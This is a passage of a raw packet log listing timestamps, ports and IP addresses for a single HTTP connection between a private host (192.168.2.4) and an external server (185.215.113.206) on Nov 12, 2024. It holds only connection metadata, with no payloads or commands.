Nov 12, 2024 02:13:27.284372091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284395933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284410954 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284504890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284523964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284534931 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284542084 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284548998 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284554958 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284562111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284574986 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284578085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284593105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284598112 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284605980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284621000 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284621000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284650087 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284668922 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.284882069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.284918070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.285068989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.285104990 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.285226107 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.285284996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.285573959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.285621881 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.285759926 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.285803080 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.285949945 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.285995007 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286369085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286381006 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286391020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286401987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286415100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286425114 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286433935 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286433935 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286448002 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286477089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286478043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286494017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286504984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286514044 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286515951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286525011 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286528111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286539078 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286539078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286550045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286554098 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286561966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286571026 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286578894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286590099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286595106 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286602974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286612034 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286626101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286638975 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286647081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286653996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286667109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286674023 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286674023 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286678076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286696911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286703110 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286709070 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286721945 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286729097 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286732912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286744118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286747932 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286755085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286766052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286770105 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286777020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286787987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286798000 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286798000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286808014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286811113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286823988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286832094 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286835909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286847115 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286853075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286865950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286874056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286878109 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286885977 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.286901951 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286909103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.286933899 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399236917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399250984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399272919 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399283886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399295092 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399300098 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399307013 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399326086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399336100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399348021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399348021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399358988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399362087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399374008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399379969 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399384975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399398088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399403095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399563074 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399575949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399588108 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399588108 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399595022 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399601936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399616003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399621964 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399629116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399635077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399641037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399652004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399667978 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399668932 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399682999 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399691105 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399694920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399703026 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399717093 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399720907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399732113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399740934 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399743080 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399751902 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399755955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399766922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399775028 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399786949 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399806976 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399806976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399849892 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399873018 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399884939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399908066 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399926901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.399967909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399980068 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.399990082 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400015116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400027037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400032997 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400032997 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400038958 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400059938 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400075912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400088072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400100946 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400114059 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400119066 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400141954 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400151968 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400161982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400172949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400197029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400226116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400264025 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400294065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400329113 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400377989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400392056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400413036 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400427103 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400433064 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400441885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400454044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400465012 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400465965 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400475979 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400487900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400506020 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400654078 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400671005 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400682926 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400690079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400695086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400707006 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400710106 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400722027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400738955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400826931 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400839090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400851965 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400863886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400870085 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400890112 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400913000 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400947094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400959969 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400980949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.400984049 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.400994062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401005030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401006937 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401014090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401020050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401026964 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401042938 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401062965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401078939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401113987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401282072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401295900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401307106 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401319027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401335955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401381016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401402950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401416063 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401424885 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401427984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401441097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401447058 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401453972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401464939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401469946 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401478052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401489973 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.401500940 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.401521921 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.442972898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.442984104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.443041086 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.514580965 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514662027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.514695883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514709949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514719963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514731884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514738083 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.514743090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514755011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514759064 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.514771938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514802933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.514822006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.514844894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514857054 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514866114 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.514889002 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.514919043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515039921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515052080 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515060902 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515073061 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515084982 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515116930 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515156031 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515167952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515180111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515199900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515199900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515209913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515219927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515225887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515240908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515249968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515249014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515259981 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515273094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515275955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515285015 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515289068 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515296936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515309095 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515325069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515328884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515341043 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515351057 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515355110 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515363932 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515371084 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515377998 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515388012 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515388966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515403032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515414000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515419006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515445948 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515490055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515500069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515542030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515554905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515566111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515578032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515589952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515602112 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515615940 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515642881 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515707970 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515733004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515753031 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515753984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515765905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515773058 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515778065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515789986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515801907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515801907 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515822887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515844107 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515853882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515868902 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515881062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515896082 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515912056 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515929937 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.515947104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515965939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515981913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.515995979 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516005993 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516016006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516043901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516074896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516117096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516125917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516134977 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516179085 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516196966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516211987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516222954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516233921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516244888 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516252995 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:27.516273022 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:27.516273975 CET	49755	80	192.168.2.4	185.215.113.206
